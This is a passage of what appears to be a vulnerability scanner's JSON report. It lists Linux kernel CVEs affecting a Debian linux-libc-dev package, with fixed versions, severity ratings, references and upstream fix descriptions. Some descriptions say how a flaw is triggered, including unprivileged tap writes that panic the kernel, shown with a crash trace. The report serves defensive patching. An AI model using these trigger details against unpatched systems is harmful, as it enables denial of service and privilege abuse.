"VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74753", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d78d23f09e13f219b58dea6cb184e41936d2a6d490ab05569dd851a6bacbbb74", "Title": "kernel: perf: Reject exited events as group leaders", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf: Reject exited events as group leaders\n\nperf_event_remove_on_exec() sets remove-on-exec events to the EXIT state\nand detaches their group relationships. The event's file descriptor can\nremain open, however, and perf_event_open() currently accepts that event\nas a group leader because its early validation rejects only REVOKED and\nDEAD events.\n\nA new sibling can consequently be linked to the detached leader. When\nthe leader is closed, perf_group_detach() observes that its\nPERF_ATTACH_GROUP bit is already clear and skips the new sibling. The\nsibling then retains a group_leader pointer to the freed event.\n\nReject group leaders in the EXIT state. Perform the check while holding\nthe shared context mutex so that an exec in the target task cannot detach\nthe leader between validation and group attachment.\n\n[peterz: make the earlier test fully consistent]", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:72623", "https://access.redhat.com/security/cve/CVE-2026-74753", "https://bugzilla.redhat.com/2482104", "https://bugzilla.redhat.com/2487002", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2495938", "https://bugzilla.redhat.com/2502318", "https://bugzilla.redhat.com/2502494", "https://bugzilla.redhat.com/2508319", "https://bugzilla.redhat.com/2524423", "https://bugzilla.redhat.com/2524434", "https://bugzilla.redhat.com/show_bug.cgi?id=2482104", "https://bugzilla.redhat.com/show_bug.cgi?id=2487002", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2495938", "https://bugzilla.redhat.com/show_bug.cgi?id=2502318", "https://bugzilla.redhat.com/show_bug.cgi?id=2502494", "https://bugzilla.redhat.com/show_bug.cgi?id=2508319", "https://bugzilla.redhat.com/show_bug.cgi?id=2524423", "https://bugzilla.redhat.com/show_bug.cgi?id=2524434", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45942", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46325", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53341", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63875", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64556", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74753", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80522", "https://errata.almalinux.org/9/ALSA-2026-72623.html", "https://errata.rockylinux.org/RLSA-2026:72623", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-74753.mbox", "https://git.kernel.org/stable/c/7a03413f31c196ab3894f988cdce0bb47b4fec42", "https://git.kernel.org/stable/c/7ce010275c531475f9d6e7efb11b9e522c74ed2e", "https://git.kernel.org/stable/c/ce12e1170c0c78dffb9b28af6d287492ae7dd99d", "https://git.kernel.org/stable/c/e593031ff19a9484e8a00bc47edd447187721846", "https://git.kernel.org/stable/c/fa091f46c3833fb22384f10eade2b4e1e1d0b278", "https://linux.oracle.com/cve/CVE-2026-74753.html", "https://linux.oracle.com/errata/ELSA-2026-72624.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-74753", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-74753" ], "PublishedDate": "2026-08-26T15:16:54.387Z", "LastModifiedDate": "2026-10-30T13:20:05.88Z" }, { "VulnerabilityID": "CVE-2026-80521", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80521", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:200282aff3e3fa211c6b904f7425d37e9de40d63a6c871acdd178745515460a8", "Title": "kernel: af_unix: Unlink scc_entry in unix_del_edge()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\naf_unix: Unlink scc_entry in unix_del_edge().\n\nKyle Zeng reported that GC could free a dead SCC partially.\n\nThe scenario is as follows:\n\n 1) Create two SCCs:\n\n X -. A \u003c-\u003e B\n ^--'\n\n 2) Run the following concurrently:\n\n 2-1) send() sk-B to sk-B from sk-X\n 2-2) close() both A and B\n\nAt 2-1), there is a small window where unix_add_edges()\npublishes a new edge (B \u003c-\u003e B) to GC but its skb is not queued\nby skb_queue_tail().\n\nIf 2-2) completes before skb_queue_tail() and GC is triggered,\nit judges A \u003c-\u003e B as dead, but B is not freed because GC cannot\ncollect the not-yet-queued skb holding the B \u003c-\u003e B edge.\n\n X -. A \u003c-\u003e B -. This edge is visible\n ^--' ^..' but skb is not\n\nThis itself is not a problem since the next GC run will judge\nB as dead as well and free it finally.\n\n X -. A \u003c.\u003e B -.\n ^--' ^--'\n\nHowever, X's SCC forces the next GC to call unix_walk_scc_fast(),\nand it iterates over A through B's scc_entry.\n\nLet's unlink scc_entry before freeing the vertex in unix_del_edge().", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80521", "https://access.redhat.com/errata/RHSA-2026:81406", "https://access.redhat.com/security/cve/CVE-2026-80521", "https://bugzilla.redhat.com/2468043", "https://bugzilla.redhat.com/2502397", "https://bugzilla.redhat.com/2502872", "https://bugzilla.redhat.com/2507035", "https://bugzilla.redhat.com/2507153", "https://bugzilla.redhat.com/2507218", "https://bugzilla.redhat.com/2513451", "https://bugzilla.redhat.com/2516396", "https://bugzilla.redhat.com/2516657", "https://bugzilla.redhat.com/2524478", "https://bugzilla.redhat.com/2535265", "https://bugzilla.redhat.com/show_bug.cgi?id=2468043", "https://bugzilla.redhat.com/show_bug.cgi?id=2502397", "https://bugzilla.redhat.com/show_bug.cgi?id=2502872", "https://bugzilla.redhat.com/show_bug.cgi?id=2507035", "https://bugzilla.redhat.com/show_bug.cgi?id=2507153", "https://bugzilla.redhat.com/show_bug.cgi?id=2507218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513451", "https://bugzilla.redhat.com/show_bug.cgi?id=2516396", "https://bugzilla.redhat.com/show_bug.cgi?id=2516657", "https://bugzilla.redhat.com/show_bug.cgi?id=2524478", "https://bugzilla.redhat.com/show_bug.cgi?id=2535265", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43332", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63925", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64507", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68123", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72289", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72318", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80521", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89970", "https://errata.almalinux.org/10/ALSA-2026-81406.html", "https://errata.rockylinux.org/RLSA-2026:81406", "https://git.kernel.org/stable/c/1293fd69a50d188a5788b08ba3741a3e86be1608", "https://git.kernel.org/stable/c/2b6c2842692d08e7acaf32d1eb47f95def35f3fe", "https://git.kernel.org/stable/c/594d905195024b228c962627ae5ae7c17bd582a4", "https://git.kernel.org/stable/c/6fda5c51b8e43a8440f76e65c89d9f95ddb2ef33", "https://git.kernel.org/stable/c/e3702470ced94fad74d71e2232f022d2eb752a6d", "https://git.kernel.org/stable/c/fe198b077864feafd4aa4b33b1a5ce26f50195a2", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.4.0/BRSA-6hwsn2qrbtk5.toml", "https://linux.oracle.com/cve/CVE-2026-80521.html", "https://linux.oracle.com/errata/ELSA-2026-81406.html", "https://lore.kernel.org/linux-cve-announce/2026082601-CVE-2026-80521-2b35@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-80521", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-80521" ], "PublishedDate": "2026-08-26T15:17:05.677Z", "LastModifiedDate": "2026-10-03T11:17:39.437Z" }, { "VulnerabilityID": "CVE-2026-80522", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80522", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9f1abe54ebee59a5d1feede80f94c9a0a0fc96e136d08079883c08234a879116", "Title": "kernel: crypto: tegra - fix rctx-\u003ecryptlen calculation in tegra_gcm_do_one_req()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: tegra - fix rctx-\u003ecryptlen calculation in tegra_gcm_do_one_req()\n\nPerform rctx-\u003ecryptlen calculation in tegra_gcm_do_one_req() the same way\nit is done in tegra_ccm_crypt_init(). The current formulae may lead to a\ncrash if a caller does not call tegra_gcm_setauthsize() and so ctx-\u003eauthsize\nremains zero. Then a decrypt operation with incorrect rctx-\u003ecryptlen will\nlead to a write beyound rctx-\u003edst_sg buffer.\n\nAs a follow-up cleanup delete struct tegra_aead_ctx-\u003eauthsize field since\nit appears to be completely unused. Also simplify tegra_ccm_setauthsize()\nand tegra_gcm_setauthsize() functions respectively.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:72623", "https://access.redhat.com/security/cve/CVE-2026-80522", "https://bugzilla.redhat.com/2482104", "https://bugzilla.redhat.com/2487002", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2495938", "https://bugzilla.redhat.com/2502318", "https://bugzilla.redhat.com/2502494", "https://bugzilla.redhat.com/2508319", "https://bugzilla.redhat.com/2524423", "https://bugzilla.redhat.com/2524434", "https://bugzilla.redhat.com/show_bug.cgi?id=2482104", "https://bugzilla.redhat.com/show_bug.cgi?id=2487002", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2495938", "https://bugzilla.redhat.com/show_bug.cgi?id=2502318", "https://bugzilla.redhat.com/show_bug.cgi?id=2502494", "https://bugzilla.redhat.com/show_bug.cgi?id=2508319", "https://bugzilla.redhat.com/show_bug.cgi?id=2524423", "https://bugzilla.redhat.com/show_bug.cgi?id=2524434", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45942", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46325", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53341", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63875", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64556", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74753", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80522", "https://errata.almalinux.org/9/ALSA-2026-72623.html", "https://errata.rockylinux.org/RLSA-2026:72623", "https://git.kernel.org/stable/c/360f2974fcea49c61f6d6f81554741a9eeee7168", "https://git.kernel.org/stable/c/99a18e1d979e0fad3aaf9c65ae6696897c1d9869", "https://git.kernel.org/stable/c/c6237834d9994de209cb90c7a2c461247bce8e90", "https://git.kernel.org/stable/c/cd6991001bf0681ed0bcf21f9cc3d261d749b2bb", "https://linux.oracle.com/cve/CVE-2026-80522.html", "https://linux.oracle.com/errata/ELSA-2026-72624.html", "https://lore.kernel.org/linux-cve-announce/2026082601-CVE-2026-80522-a340@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-80522", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-80522" ], "PublishedDate": "2026-08-26T15:17:05.8Z", "LastModifiedDate": "2026-10-16T20:17:57.323Z" }, { "VulnerabilityID": "CVE-2026-80530", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80530", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:25b660e8c15bf5f86ecb08c3d60f41ec4cb01e5c864b0c6a398079632f3a043c", "Title": "kernel: xfs: fix exchange-range reflink flag clearing issue with INO1_WRITTEN", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfs: fix exchange-range reflink flag clearing issue with INO1_WRITTEN\n\nWhen exchanging two full-file ranges, xmi_can_exchange_reflink_flags()\ncan move the reflink inode flag from the file that currently has it to\nthe other file, as long as exactly one side is marked. This assumes\nthat the file contents, and therefore all shared extents, are exchanged.\n\nThat assumption is not true when XFS_EXCHMAPS_INO1_WRITTEN is set.\nxfs_exchmaps_can_skip_mapping() can skip hole and unwritten mappings\nfrom file1, so an exchange can complete without moving every mapping\nthat the earlier flag-swap decision accounted for. In that case the\npost-operation cleanup can clear the reflink flag from an inode that\nstill owns shared written extents. Later writes then take the\nnon-reflink write path and may update blocks that should still have\nbeen protected by CoW, which shows up as data corruption between\nreflink-related files.\n\nFix this by disabling the reflink flag exchange whenever\nXFS_EXCHMAPS_INO1_WRITTEN is requested. The contents exchange can still\nproceed; the conservative outcome is that both inodes keep the reflink\nflag. The regular reflink flag cleanup path can drop the extra flag\nlater once the inode no longer has shared extents.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/09/03/1", "https://access.redhat.com/errata/RHSA-2026:87805", "https://access.redhat.com/security/cve/CVE-2026-80530", "https://bugzilla.redhat.com/2360273", "https://bugzilla.redhat.com/2376106", "https://bugzilla.redhat.com/2507038", "https://bugzilla.redhat.com/2513245", "https://bugzilla.redhat.com/2513356", "https://bugzilla.redhat.com/2514462", "https://bugzilla.redhat.com/2524492", "https://bugzilla.redhat.com/2524501", "https://bugzilla.redhat.com/show_bug.cgi?id=2360273", "https://bugzilla.redhat.com/show_bug.cgi?id=2376106", "https://bugzilla.redhat.com/show_bug.cgi?id=2507038", "https://bugzilla.redhat.com/show_bug.cgi?id=2513245", "https://bugzilla.redhat.com/show_bug.cgi?id=2513356", "https://bugzilla.redhat.com/show_bug.cgi?id=2514462", "https://bugzilla.redhat.com/show_bug.cgi?id=2524492", "https://bugzilla.redhat.com/show_bug.cgi?id=2524501", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22063", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68202", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68299", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68448", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80536", "https://errata.almalinux.org/9/ALSA-2026-87805.html", "https://errata.rockylinux.org/RLSA-2026:87805", "https://git.kernel.org/stable/c/03c9c9116e6da641424681f705698d7f5e2128e0", "https://git.kernel.org/stable/c/0f27b22343b63e10773e6781344640c2c753eec3", "https://git.kernel.org/stable/c/2efbd8890b53f4756fdc7b0ef346fa514ffb7d66", "https://git.kernel.org/stable/c/b2d5a81dae385333f9734910277fbf94c78bd17f", "https://linux.oracle.com/cve/CVE-2026-80530.html", "https://linux.oracle.com/errata/ELSA-2026-87805.html", "https://lore.kernel.org/linux-cve-announce/2026082603-CVE-2026-80530-4a96@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-80530", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-80530" ], "PublishedDate": "2026-08-26T15:17:06.99Z", "LastModifiedDate": "2026-10-16T20:17:57.88Z" }, { "VulnerabilityID": "CVE-2026-80586", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80586", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1d4a68b0df3f07f013c209cf8bf8c1af89fd83a720beadc497509143ac26e8a4", "Title": "kernel: mptcp: options: reset DSS fields in case of unexpected size", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmptcp: options: reset DSS fields in case of unexpected size\n\nA remote peer could send a malformed DSS with a wrong size, followed by\nanother DSS or MPC + Data. In this case, the first suboption will be\nignored, but leaving some fields written, which could lead to\ninconsistency or access uninitialized data.\n\nExplicitly reset the fields that could have been modified in case of\nunexpected size.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 8.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:89083", "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/security/cve/CVE-2026-80586", "https://bugzilla.redhat.com/2492709", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2507296", "https://bugzilla.redhat.com/2513163", "https://bugzilla.redhat.com/2513264", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513343", "https://bugzilla.redhat.com/2524438", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2532515", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.almalinux.org/8/ALSA-2026-89083.html", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/stable/c/15e35fdad7a5576bf3f1c8d688877aeb5d1b506b", "https://git.kernel.org/stable/c/192878df582c51d440bf7b91a15f297f29f2b596", "https://git.kernel.org/stable/c/1fade1b2ac5b1a4948e538fae7313bea57b5ac36", "https://git.kernel.org/stable/c/26dac5c9ffb20812b475fdf253eb04fab99cff3b", "https://git.kernel.org/stable/c/27ed642a4e7e4b5df4b8522c72c457a67e052493", "https://git.kernel.org/stable/c/35772b4981f38ba8059372cde8753e8e477e98ec", "https://git.kernel.org/stable/c/4e80eff5c1c893aca2ac1d202f0b256d2e52ecde", "https://git.kernel.org/stable/c/b1256090816ec46011601e084be580731df58fc7", "https://linux.oracle.com/cve/CVE-2026-80586.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://lore.kernel.org/linux-cve-announce/2026082616-CVE-2026-80586-008c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-80586", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-80586" ], "PublishedDate": "2026-08-26T15:17:14.873Z", "LastModifiedDate": "2026-10-16T20:18:01.74Z" }, { "VulnerabilityID": "CVE-2026-80590", "VendorIDs": [ "DSA-6477-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.107-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80590", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:df03db24366abb2657676e11e75352a05881556e1cb66c0ebb6f1183d33b443f", "Title": "kernel: inet: frags: strip GSO state from fragments before reassembly", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ninet: frags: strip GSO state from fragments before reassembly\n\nA virtio_net_hdr (tun/tap, or AF_PACKET with PACKET_VNET_HDR) can mark\nan IPv4 or IPv6 fragment as GSO; nothing relates gso_type to frag_off.\ninet_frag_reasm_prepare()/inet_frag_reasm_finish() keep the first\nfragment's skb as the head of the reassembled datagram, including its\nshinfo-\u003egso_size/gso_type/gso_segs, and chain the remaining fragments\non frag_list with whatever linear/paged layout they arrived with.\n\nAfter ip_defrag() (ip_local_deliver(), nf_defrag_ipv4, ...) the\nreassembled skb therefore still claims to be GSO (SKB_GSO_DODGY), and\nthe next software segmentation point - udp_rcv_segment() on local\ndelivery, validate_xmit_skb(), or the ip_finish_output_gso() slow\npath - hands it to skb_segment(). skb_segment()'s frag_list walk\nassumes GRO-shaped input and hits one of its BUG_ON()s. Two writes to\na tap by an unprivileged user in its own userns are enough:\n\n kernel BUG at net/core/skbuff.c:4899!\n Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI\n CPU: 0 UID: 1000 PID: 82 Comm: poc Not tainted 7.2.0-pentest+ #2\n RIP: 0010:skb_segment+0x20ca/0x48b0\n Call Trace:\n \u003cTASK\u003e\n __udp_gso_segment+0x29a/0x27d0\n udp4_ufo_fragment+0x458/0x6c0\n inet_gso_segment+0x429/0x1340\n skb_mac_gso_segment+0x233/0x4f0\n __skb_gso_segment+0x308/0x660\n udp_queue_rcv_skb+0x440/0xad0\n udp_unicast_rcv_skb+0xc7/0x2c0\n udp_rcv+0x16ce/0x2260\n ip_protocol_deliver_rcu+0x197/0x2d0\n ip_local_deliver+0x430/0x690\n ip_rcv+0x16f/0x1f0\n __netif_receive_skb_one_core+0x15e/0x1c0\n __netif_receive_skb+0x1e/0x110\n netif_receive_skb+0xf6/0x5c0\n tun_rx_batched.isra.0+0x3ab/0x790\n tun_get_user+0x17c3/0x3550\n tun_chr_write_iter+0xba/0x1b0\n vfs_write+0x646/0x1130\n \u003c/TASK\u003e\n Kernel panic - not syncing: Fatal exception in interrupt\n\nThis runs with BH disabled, so it is a panic rather than an oops. The\nsame is reachable with CAP_NET_RAW in a netns where a defrag point\nprecedes a GSO point, and from a guest whose VMM forwards\nvirtio_net_hdr to a tap. The SKB_GSO_DODGY frag_list checks added by\ncommit 3dcbdb134f32 (\"net: gso: Fix skb_segment splat when splitting\ngso_size mangled skb having linear-headed frag_list\") and by\ncommit 9e4b7a99a03a (\"net: gso: fix panic on frag_list with mixed head\nalloc types\") do not cover it: page-backed heads skip them, and kmalloc\nheads skip them when gso_size == skb_headlen(head), which the sender\ncontrols.\n\nAn skb entering a frag queue is an IP fragment by definition and\ncannot legitimately carry GSO state: GRO does not merge fragments and\nthe stack segments before it fragments, so only untrusted sources are\naffected. This has been reachable since\ncommit f43798c27684 (\"tun: Allow GSO using virtio_net_hdr\"), the first\npath that let userspace attach GSO metadata to an IP fragment. Reset\nthe GSO fields of every fragment as it is queued, in\ninet_frag_queue_insert(), which IPv4, IPv6, 